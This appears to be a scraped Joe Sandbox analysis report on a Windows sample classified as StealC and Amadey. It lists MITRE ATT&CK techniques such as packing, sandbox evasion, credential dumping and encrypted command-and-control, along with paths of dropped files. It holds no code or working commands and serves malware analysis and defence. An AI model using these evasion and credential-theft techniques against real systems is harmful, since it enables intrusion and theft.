Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBAFBGIDHCBFHIECFCB

C:\ProgramData\CFCGIIEH

C:\ProgramData\EHDBGDHDAECBGDHJKFIDGCBFBK

C:\ProgramData\FCBFBGDB

C:\ProgramData\GHDHDGHJEBGIDGDGIJJK

C:\ProgramData\GHJJDGHCBGDHIECBGIDA

C:\ProgramData\KKECBFCGIEGCBGCAECGCBAKECB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre